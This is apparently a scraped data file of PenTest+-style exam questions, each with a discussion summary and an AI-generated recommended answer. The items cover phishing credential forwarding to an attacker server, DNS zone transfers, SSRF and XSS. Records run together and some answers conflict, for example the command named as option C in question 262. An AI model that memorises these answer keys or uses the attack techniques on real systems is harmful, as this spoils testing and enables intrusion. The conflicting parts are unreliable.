\nIn summary, while other options might be partially correct, the reduction of VM escape attack probability is the most direct and compelling reason for maintaining a strict patching policy for hypervisors.\n
"}, {"folder_name": "topic_1_question_245", "topic": "1", "question_num": "245", "question": "A penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester uncovers access keys within an organization's source code management solution. Which of the following would BEST address the issue? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Setting up a secret management solution for all items in the source code management system", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is A. Setting up a secret management solution for all items in the source code management system and E. Developing a secure software development life cycle process for committing code to the source code management system, which the reason is a secret management solution ensures that access keys are securely stored and not accidentally exposed, and a secure software development life cycle process will help ensure that items such as access keys are not added to the source code management system in the first place. Other opinions are provided, such as the combination of B, D, and E, and some comments suggest that C is incorrect. The main theme is securing access keys.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI suggests a different answer: A and D.
\nReasoning for choosing A: Setting up a secret management solution is crucial for securely storing and managing sensitive information like access keys. This prevents them from being exposed in plain text within the source code. This is a direct and effective way to address the immediate issue.
\nReasoning for choosing D: Leveraging a solution to scan for other similar instances in the source code management system is important because if one access key was exposed, it's likely that others were as well. Scanning helps identify and remediate all instances of exposed keys.
\nReasoning for not choosing the other options:\n
\nThe combination of A and D provides both an immediate solution (secure storage) and a way to identify the full scope of the problem (scanning for other instances).\n
\n\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The web server is using a WAF.", "html": "From the internet discussion, including from Q2 2023 to Q2 2024, the consensus answer is A. The web server is using a WAF, which the reason is that a Web Application Firewall (WAF) is designed to protect web applications by monitoring and filtering HTTP traffic, and it may terminate connections, resulting in TCP resets, if it identifies suspicious or malicious activity, which includes penetration testing attempts. One opinion that the web server might be using a load balancer has less agreement. Other answers are not correct since other solutions don't cause TCP resets.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, A: \"The web server is using a WAF.\"
\nReasoning:\nA Web Application Firewall (WAF) is designed to protect web applications from various attacks. During a penetration test, a WAF might identify the testing activities as malicious and actively terminate the connections by sending TCP reset packets. This is a common behavior of WAFs to prevent potential threats.
\nReasons for Not Choosing Other Options:\n
Therefore, the most likely cause of TCP resets during a penetration test against publicly available web servers is the presence of a WAF.
\nSuggested Answer: A
"}, {"folder_name": "topic_1_question_247", "topic": "1", "question_num": "247", "question": "An assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn assessment has been completed, and all reports and evidence have been turned over to the client. Which of the following should be done NEXT to ensure the confidentiality of the client's information?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Follow the established data retention and destruction process.", "html": "From the internet discussion, the conclusion of the answer to this question is A, which the reason is the importance of following established data retention and destruction processes after the assessment. This ensures client information confidentiality, as the protocols define how long data is stored and the secure destruction process. D is considered correct, but some comments suggest it can be used if the retention policy allows it. Other options, such as encrypting and storing client information for future analysis or reporting findings without client permission, are not recommended because they may breach confidentiality.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI suggests that the answer is A: Follow the established data retention and destruction process.
\n
\nReasoning:
\nFollowing the established data retention and destruction process is the most appropriate next step to ensure the confidentiality of the client's information after the assessment is complete, and all reports and evidence have been turned over. This is because data retention and destruction policies are specifically designed to define how long data is stored and the secure methods for its disposal, thereby minimizing the risk of unauthorized access or disclosure.
\n
\nReasons for not choosing the other options:\n
\n
"}, {"folder_name": "topic_1_question_248", "topic": "1", "question_num": "248", "question": "A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Using OpenVAS in default mode", "html": "From the internet discussion, the conclusion of the answer to this question is B, which the reason is using credentials with Nessus allows for a more thorough scan, reducing false positives and increasing the accuracy of the results by identifying vulnerabilities that may not be detectable through an unauthenticated scan. Nessus has a large database of vulnerabilities and can provide detailed information on each vulnerability it finds.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, B (Using Nessus with credentials).
\nReasoning: Using credentials with a vulnerability scanner like Nessus allows for a more in-depth and accurate assessment. When authenticated, the scanner can log into systems and applications, directly inspect configurations, and access files that are otherwise unavailable. This authenticated scanning significantly reduces false positives because the scanner can verify the actual state of the system rather than relying solely on potentially misleading banner information or network responses. It also increases true positives by identifying vulnerabilities that are only exposed to authenticated users or that require access to internal resources to detect.
\nWhy other options are less suitable:\n
In conclusion, credentialed scanning with Nessus provides the most thorough and accurate vulnerability assessment, minimizing false positives and maximizing true positives.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Redact identifying information and provide a previous customer's documentation.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. Determine which reports are no longer under a period of confidentiality, which the reason is that penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Additionally, showing confidential information, even after redacting sensitive information, can still be a breach of confidentiality agreements or ethical standards, unless you have obtained explicit permission from the owner of the information to do so.
\n
The AI assistant agrees with the suggested answer, C.
\nThe best course of action is to determine which reports are no longer under a period of confidentiality.
\nThis approach ensures that the penetration testing company respects the confidentiality and privacy of its previous clients while still providing examples of its work. Penetration testing reports often contain sensitive information about vulnerabilities and risks. Sharing reports that are no longer confidential strikes a balance between demonstrating capabilities and maintaining ethical standards. This aligns with professional ethics and legal requirements regarding data protection and non-disclosure agreements.
Here's a breakdown of why the other options are not the best:
\nThe choice C is the most appropriate because it prioritizes ethical considerations, legal compliance, and the need to protect client information while still fulfilling the request for work examples.
"}, {"folder_name": "topic_1_question_250", "topic": "1", "question_num": "250", "question": "For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:Which of the following lines of code should the security engineer add to make the attack successful?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tFor a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:![](\"topic_1_question_250/image_0.png\"/)
Which of the following lines of code should the security engineer add to make the attack successful?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q2 2023 to Q2 2024, the consensus answer is B, which is related to enabling cross-origin requests using the \"crossDomain: true\" setting. The reason is that this setting allows a web page to make cross-origin requests, which is necessary when dealing with AJAX requests and the Same-Origin Policy. Several comments confirmed that B is the correct answer and that \"crossDomain: true\" is the key to enabling the cross-domain functionality. Conversely, some comments suggest that option A, which uses window.location to redirect the user, is incorrect because it is not directly related to enabling cross-domain requests, which is the core requirement for this specific scenario.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the question and discussion content, the AI agrees with the suggested answer, B (crossDomain: true).
\n
\nReasoning: The scenario describes a phishing attack where user credentials entered on a fake login page (example.com) need to be sent to a server controlled by the attacker (evilcorp.com). This involves a cross-origin request, as the origin of the login page (example.com) is different from the attacker's server (evilcorp.com). The Same-Origin Policy, a crucial security mechanism implemented by web browsers, restricts web pages from making requests to a different domain than the one which served the web page. To bypass this restriction for legitimate reasons (in this case, a penetration test simulating a real attack), the `crossDomain: true` setting is used. This setting, typically used in AJAX requests, tells the browser to allow cross-origin requests. Therefore, including `crossDomain: true` in the code would allow the credentials to be sent to the attacker's server.
\n
\nWhy other options are incorrect:\n
Therefore, the most appropriate line of code to add to make the attack successful is B. crossDomain: true. It directly addresses the issue of the Same-Origin Policy preventing the sending of credentials to the attacker's server.
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The IP address is wrong.", "html": "Agree with Suggested Answer From the internet discussion spanning from Q2 2021 to Q1 2025, the consensus answer to this question is C: The IP address is on the blocklist, which the reason is that blocklists are used by security measures like firewalls to restrict access from specific IP addresses, and the penetration tester's IP address might be blocked if the server detected suspicious activity. Alternative answers like server being unreachable (B) were considered, and some comments suggested that if the IP is on a blocklist, the server is unreachable, which could make B a correct answer as well. However, the most common consensus is that the blocklist is the main reason.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, C: The IP address is on the blocklist.
\nReasoning: If a penetration tester's IP address is placed on a blocklist after a successful scan, subsequent scans will fail. This is because security measures like firewalls and intrusion detection/prevention systems (IDS/IPS) use blocklists to prevent communication from IPs identified as potentially malicious or suspicious. The initial scan might have triggered a threshold or rule that led to the IP being added to the blocklist.
\nWhy other options are less likely:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures should the exploit developer use to make the string comparison and determination as efficient as possible?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "A list", "html": "Based on the internet discussion from Q2 2023 to Q2 2024, the conclusion of the answer to this question is C. A dictionary. The comments agree that a dictionary provides the most efficient way to quickly compare strings and determine the next data to submit due to its fast lookup times, often O(1) on average. While some comments suggest a tree data structure (like a trie) could be more efficient for certain string comparisons, the majority of the comments indicates that the dictionary is the best choice for general use. Lists and arrays were not recommended due to their linear search times.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C. A dictionary.
\nReasoning:\nFor efficient string comparison in this scenario, a dictionary (also known as a hash table or associative array) is the most suitable data structure. The exploit developer needs to quickly examine each response and compare it to a large number of strings to decide what data to submit next. Dictionaries offer, on average, O(1) (constant time) complexity for lookups, which means finding a specific string within the dictionary is very fast, regardless of the dictionary's size. This makes the string comparison and determination process highly efficient.
\nReasons for not choosing other answers:\n
Dictionaries are designed for fast key-value lookups, which is precisely what the exploit developer needs for efficient string comparison and data determination.
"}, {"folder_name": "topic_1_question_253", "topic": "1", "question_num": "253", "question": "A penetration tester uncovered a flaw in an online banking web application that allows arbitrary requests to other internal network assets through a server-side request forgery. Which of the following would BEST reduce the risk of attack?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester uncovered a flaw in an online banking web application that allows arbitrary requests to other internal network assets through a server-side request forgery. Which of the following would BEST reduce the risk of attack?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Implement multifactor authentication on the web application to prevent unauthorized access of the application.", "html": "Agree with Suggested Answer From the internet discussion, the consensus of the answer to this question is D. Sanitize and validate all input within the web application, which the reason is that this approach directly prevents attackers from injecting malicious requests targeting internal network assets by ensuring only permitted and safe requests are processed. Other options like implementing multi-factor authentication, configuring a secret management solution, ensuring a patch management system are important but do not specifically address the SSRF vulnerability. Enhanced logging can help detect attacks, but it's not a preventive solution.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, D: Sanitize and validate all input within the web application to prevent internal resources from being accessed.
\n
\nReasoning:
\nThe core issue is Server-Side Request Forgery (SSRF). The most effective way to mitigate SSRF is to prevent the attacker from being able to craft malicious requests in the first place. Input sanitization and validation achieves this by ensuring that any user-provided data used in constructing backend requests is safe and conforms to expected formats and values. By validating and sanitizing the input, the application can prevent the attacker from manipulating the request to access internal resources.
\n
\nReasons for not choosing other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following actions would BEST explain why a testing team would need to reach out to a customer's emergency contact during an assessment?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To confirm assessment dates", "html": "Agree with Suggested Answer from internet discussions from Q2 2023 to Q2 2024, the conclusion is B. To escalate the detection of a prior compromise. The reason for this consensus is that if the testing team finds a security breach or vulnerability, it requires immediate escalation to the customer's emergency contact to mitigate risks and protect sensitive data. It's a critical action to prevent further damage. Other options are generally part of regular communications and wouldn't typically require an emergency contact.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer B is agreed with.
\nReasoning: During a penetration test, discovering a prior compromise necessitates immediate action to contain the breach and prevent further damage. Escalating this to the emergency contact is crucial for a swift and effective response. This is not a routine update but a critical security incident requiring immediate attention.\n
\nWhy other options are incorrect:\n
\nIn summary, the discovery of an active or prior compromise during a penetration test represents a critical security event that requires immediate escalation to the customer's emergency contact to mitigate potential damage.\n
\nSuggested Answer: B. To escalate the detection of a prior compromise
\nFull Reasoning: The prompt describes the actions that need to be taken during a penetration test. Discovering a prior compromise is a critical security incident that demands immediate escalation to the customer's emergency contact. This ensures swift action to contain the breach, mitigate damage, and prevent further unauthorized access. The other options describe routine communications that do not warrant contacting the emergency contact.
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAn executive needs to use Wi-Fi to connect to the company's server while traveling. Looking for available Wi-Fi connections, the executive notices an available access point to a hotel chain that is not available where the executive is staying. Which of the following attacks is the executive MOST likely experiencing?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Data modification", "html": "From the internet discussion, the conclusion of the answer to this question is D. Evil Twin, which the reason is the scenario describes an access point that is broadcasting the name of a hotel chain that is not available in the area. This indicates an attacker is mimicking a legitimate network name to trick users.
\n The comments indicate the other options are not correct. Specifically:
\n The suggested answer is D. Evil Twin.
\nReasoning: The scenario describes an executive noticing a Wi-Fi access point with the name of a hotel chain that isn't available at their current location. This strongly suggests an attacker is attempting to create a rogue Wi-Fi access point mimicking a legitimate network to intercept the executive's connection. This type of attack is known as an Evil Twin attack.
\n
\nWhy other options are incorrect:\n
\n This conclusion is also supported by the discussion.\n
\n\n Therefore, the best answer is D. Evil Twin.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester calls an IT employee and pretends to be the financial director of the company. The penetration tester asks the IT employee to reset the financial director's email password. The penetration tester claims to be at an ongoing, off-site meeting with some investors and needs a presentation file quickly downloaded from the director's mailbox. Which of following techniques is the penetration tester trying to utilize? (Choose two.)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Scarcity", "html": "\n Agreed with Suggested Answer. From the internet discussion from Q1 2023 to Q3 2024, the conclusion of the answer to this question is CE, which the reason is the penetration tester is using authority by pretending to be the financial director of the company and urgency by creating a sense of urgency. Other opinions suggest that intimidation is not the correct answer since the scenario doesn't involve threats or force.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer of CE.
\nReasoning: The penetration tester is employing social engineering tactics to manipulate the IT employee.
\n
\n The chosen options align with established social engineering principles, where attackers exploit human psychology to gain unauthorized access to systems or information.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester runs the following command:
dig @ dns01.comptia.local axfr comptia.local
If successful, which of the following types of information would be provided?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. The hostnames and IP addresses of internal systems, which the reason is the AXFR command (zone transfer) is designed to provide hostnames and IP addresses of systems within the DNS zone.
The other options are incorrect because:
\n
The AI agrees with the suggested answer, which is C. The hostnames and IP addresses of internal systems.
\nReasoning:
\nThe `dig @dns01.comptia.local axfr comptia.local` command attempts a DNS zone transfer (AXFR) from the DNS server dns01.comptia.local for the domain comptia.local. A successful zone transfer provides a copy of the entire zone file, which includes all DNS records such as A, AAAA, CNAME, MX, and NS records.
\nThese records contain the hostnames and IP addresses of systems within the comptia.local domain. This is valuable information for a penetration tester as it reveals the internal network structure and potential targets.
\nWhy other options are incorrect:\n
In summary, the `axfr` option with `dig` is specifically designed to transfer the entire zone file, which contains the hostnames and IP addresses of the systems within the specified domain.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA company recruited a penetration tester to configure intrusion detection over the wireless network. Which of the following tools would BEST resolve this issue?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Aircrack-ng", "html": "From the internet discussion, including from Q2 2023 to Q2 2024, the conclusion of the answer to this question is D. Kismet, which the reason is Kismet is a dedicated wireless network detector, packet sniffer, and intrusion detection system, specifically designed for wireless networks. It is a good tool for monitoring and detecting potential threats and intrusions on wireless networks.
Other options are not correct:\n
\nThe AI agrees with the suggested answer D: Kismet.
\nThe reason for choosing Kismet is that it is a wireless network detector, packet sniffer, and intrusion detection system (IDS) specifically designed for wireless networks. It allows for monitoring and detection of potential threats and intrusions.
\nHere's why the other options are not the best fit:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhile performing an assessment on a web application, a penetration tester notices the web browser creates the following request when clicking on the stock status for an item:
POST /product/stock HTTP/1.0 -
Content-Type: application/x-www-form-urlencoded
Content-Length: 118 -
stockApi=http://stock.shop.com:8080/product/stock/check%3FproductId%3D6%26storeId%3D1
Which of the following types of attacks would the penetration tester most likely try NEXT?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D. Server-side request forgery, which the reason is that the application behavior involves server-side requests based on user-supplied URLs, making it vulnerable to SSRF attacks. The comments suggest that SSRF attacks can be exploited by crafting malicious URLs to make the server request unintended locations, potentially for information disclosure or unauthorized actions. There is one comment that suggests answer A, but other comments, along with provided links, confirmed the correct answer is D because the scenario is vulnerable to SSRF.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is D. Server-Side Request Forgery (SSRF).
\n
\nReasoning:
\nThe provided request shows that the application takes a URL as input (`stockApi=http://stock.shop.com:8080/product/stock/check%3FproductId%3D6%26storeId%3D1`) and likely makes a server-side request to that URL. This behavior is a classic indicator of a potential Server-Side Request Forgery (SSRF) vulnerability. An attacker could manipulate the `stockApi` parameter to point to internal resources or external systems that the server has access to, potentially gaining unauthorized access to sensitive information or performing actions on behalf of the server.
\n
\nFor example, an attacker might change the `stockApi` URL to an internal IP address or a different port on the same server to probe for open ports or access internal services that are not directly exposed to the internet. This can lead to information disclosure, privilege escalation, or other malicious activities.
\n
\nReasons for not choosing other options:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhen accessing the URL http://192.168.0.1/validate/user.php, a penetration tester obtained the following output:![](\"topic_1_question_260/image_0.png\"/)
Which of the following is the MOST probable cause for this output?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q2 2023 to Q3 2024, the consensus answer to this question is C. Insufficient error handling. The comments agree with this answer because the error messages indicate that the script is trying to access array indices (eid, uid, pw, acl) that are not defined in the $_POST or $_GET arrays, which suggests a lack of checking for the existence of these variables before accessing them. Other options like Lack of code signing, Incorrect command syntax, and Insecure data transmission are considered incorrect because they are unrelated to the specific PHP notices indicating undefined indices.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The suggested answer C is correct.
\nReasoning: The error message \"Undefined index\" clearly indicates that the PHP script is trying to access array indices (eid, uid, pw, acl) within the $_POST or $_GET arrays that have not been set. This points to a lack of proper error handling in the script. A well-written script should check if these indices exist before attempting to use them, typically with functions like `isset()` or `empty()`. The absence of such checks leads to these \"Undefined index\" notices. The script does not handle the case where the expected data isn't provided, resulting in the observed output. This is a common vulnerability, which can lead to information disclosure or denial of service.
\nReasons for not choosing other options:
\n
\nThis type of error is a classic example of poor error handling, and is a common finding during penetration tests and code reviews.\n
"}, {"folder_name": "topic_1_question_261", "topic": "1", "question_num": "261", "question": "Which of the following is the MOST secure method for sending the penetration test report to the client?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following is the MOST secure method for sending the penetration test report to the client?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Host it on an online storage system.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is using the client's public key so only the client can decrypt it with his or her private key.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer, which is D: Use the client's public key.
\nReasoning:\nThe most secure method for sending a penetration test report to a client is to encrypt it using the client's public key. This ensures that only the client, possessing the corresponding private key, can decrypt and access the report. This method provides confidentiality and protects the sensitive information contained within the report from unauthorized access during transit and storage.
\n
\nTherefore, using the client's public key is the most secure option as it provides end-to-end encryption and ensures that only the client can access the report.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a vulnerability scanning phase, a penetration tester wants to execute an Nmap scan using custom NSE scripts stored in the following folder:
/home/user/scripts
Which of the following commands should the penetration tester use to perform this scan?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q4 2023 to Q3 2024, the consensus is that the correct answer is C. The comments agree with this answer because the command `nmap --script default,banner,/home/user/customscripts` correctly loads the script in the default category, the banner script, and all .nse files in the directory /home/user/customscripts, referencing the official documentation. Other opinions suggest that the correct answer should be option D, but it's been disputed.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI suggests that the correct answer is C: nmap --script /home/user/scripts.
\nReasoning: The `nmap --script` option is used to specify NSE scripts to be executed during an Nmap scan. When a directory is provided as an argument to `--script`, Nmap will load and execute all NSE scripts found within that directory. In this case, `/home/user/scripts` contains the custom NSE scripts that the penetration tester wants to use. Therefore, this option directly addresses the question's requirement.
\nReasons for not choosing the other options:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWithin a Python script, a line that states print (var) outputs the following:
[{'1' : 'CentOS', '2' : 'Ubuntu'}, {'1' : 'Windows 10', '2' : 'Windows Server 2016'}]
Which of the following objects or data structures is var?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion from Q4 2023 to Q4 2024, the conclusion of the answer to this question is D. A list, which the reason is because the output `[{'1' : 'CentOS', '2' : 'Ubuntu'}, {'1' : 'Windows 10', '2' : 'Windows Server 2016'}]` is a list containing two dictionaries. The elements are separated by a comma and enclosed within square brackets. Other options like array, class or dictionary are not correct because they do not match the structure of the provided output.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer.
\n The correct answer is D. A list.
\nReasoning: The output `[{'1' : 'CentOS', '2' : 'Ubuntu'}, {'1' : 'Windows 10', '2' : 'Windows Server 2016'}]` clearly represents a list. Lists in Python are defined by square brackets `[]` and contain comma-separated elements. In this case, the list contains two dictionaries as its elements. Each dictionary is enclosed in curly braces `{}` and contains key-value pairs.
\nReasons for eliminating other options:\n
\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wrote the following comment in the final report: \"Eighty-five percent of the systems tested were found to be prone to unauthorized access from the internet.\"
Which of the following audiences was this message intended?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
From the internet discussion, the conclusion of the answer to this question is B. C-suite executives. The reason is that the information provided in the report is a high-level summary statistic about the overall security posture, which is crucial for executives to understand the potential business impact and make strategic decisions. Other opinions considered A. Systems administrators, C. Data privacy ombudsman, and D. Regulatory officials are not the best fit because systems administrators need more technical details, the data privacy ombudsman focuses on data privacy, and regulatory officials are concerned with compliance. This opinion received the most agreement from the internet.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer B. C-suite executives.
\nThe reason for this choice is the statement \"Eighty-five percent of the systems tested were found to be prone to unauthorized access from the internet\" is a high-level summary of risk. This kind of information is most relevant to C-suite executives who need to understand the overall security posture of the organization and make strategic decisions about resource allocation and risk management. C-suite executives are concerned with the big picture and the potential impact of security vulnerabilities on the business.
\nThe reasons for not choosing the other options are:\n
\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring a code review assessment, a penetration tester finds the following vulnerable code inside one of the web application files:
<% String id = request.getParameter(\"id\"); %>
Employee ID: <%= id %>
Which of the following is the BEST remediation to prevent a vulnerability from being exploited, based on this code?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, which includes comments from Q1 2024 to Q3 2024, the consensus answer to this question is C. Output encoding, which the reason is to prevent Cross-Site Scripting (XSS) attacks by transforming data into a safe format and encoding special characters before outputting them into HTML. Other answers are not considered correct because parameterized queries are used to prevent SQL injection, while patch application is not a specific remediation for the vulnerability, and HTML sanitization is not as effective as output encoding in this context.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer of C. Output encoding.
\nReasoning: The code snippet is vulnerable to Cross-Site Scripting (XSS) because it directly prints the value of the `id` parameter received from the request into the HTML output without any sanitization or encoding. This allows an attacker to inject malicious scripts into the web page, which can then be executed by other users who visit the page.
\n\nOutput encoding is the best remediation in this scenario because it transforms the data into a safe format by encoding special characters before rendering it in the HTML. This ensures that any potentially malicious scripts are treated as plain text and not executed by the browser, thus preventing XSS attacks.
\nReasons for not choosing other options:\n
\nThe OWASP (Open Web Application Security Project) provides detailed guidance on preventing XSS vulnerabilities, emphasizing the importance of output encoding.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following best describes why a client would hold a lessons-learned meeting with the penetration-testing team?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "To provide feedback on the report structure and recommend improvements", "html": "Agree with Suggested Answer C From the internet discussion, the conclusion of the answer to this question is C. To discuss the assessment comprehensively, which the reason is the primary purpose of a lessons-learned meeting is to reflect on the entire penetration test process, identifying both successes and failures to improve future assessments. The discussion highlights that option A is incorrect as the focus is not primarily on report structure. Option B is incorrect because discussing findings and disputing false positives is typically handled in a separate debrief meeting. Option D is also incorrect because it's related to the final steps of the project, not the lessons-learned meeting.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer C.
\nReasoning: The best answer is C because the primary goal of a lessons-learned meeting after a penetration test is to review the entire process and identify areas for improvement in the client's security processes. This includes determining which processes failed to meet expectations during the assessment. This meeting aims to derive actionable insights to enhance future security measures and processes.
\nWhy other options are incorrect:\n
\nThe purpose of a lessons-learned meeting is to analyze the entire penetration testing process, pinpointing areas where processes fell short and identifying opportunities for enhancement. This ensures that future security assessments and the overall security posture of the organization benefit from the insights gained.\n
\n\nTherefore, option C accurately reflects the core objective of a lessons-learned meeting in the context of penetration testing.\n
"}, {"folder_name": "topic_1_question_267", "topic": "1", "question_num": "267", "question": "HOTSPOT-A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.INSTRUCTIONS-Select the tool the penetration tester should use for further investigation.Select the two entries in the robots.txt file that the penetration tester should recommend for removal.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tHOTSPOT
-
A penetration tester is performing reconnaissance for a web application assessment. Upon investigation, the tester reviews the robots.txt file for items of interest.
INSTRUCTIONS
-
Select the tool the penetration tester should use for further investigation.
Select the two entries in the robots.txt file that the penetration tester should recommend for removal.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.![](\"topic_1_question_267/image_0.png\"/)
\n
![](\"topic_1_question_267/image_1.png\"/)
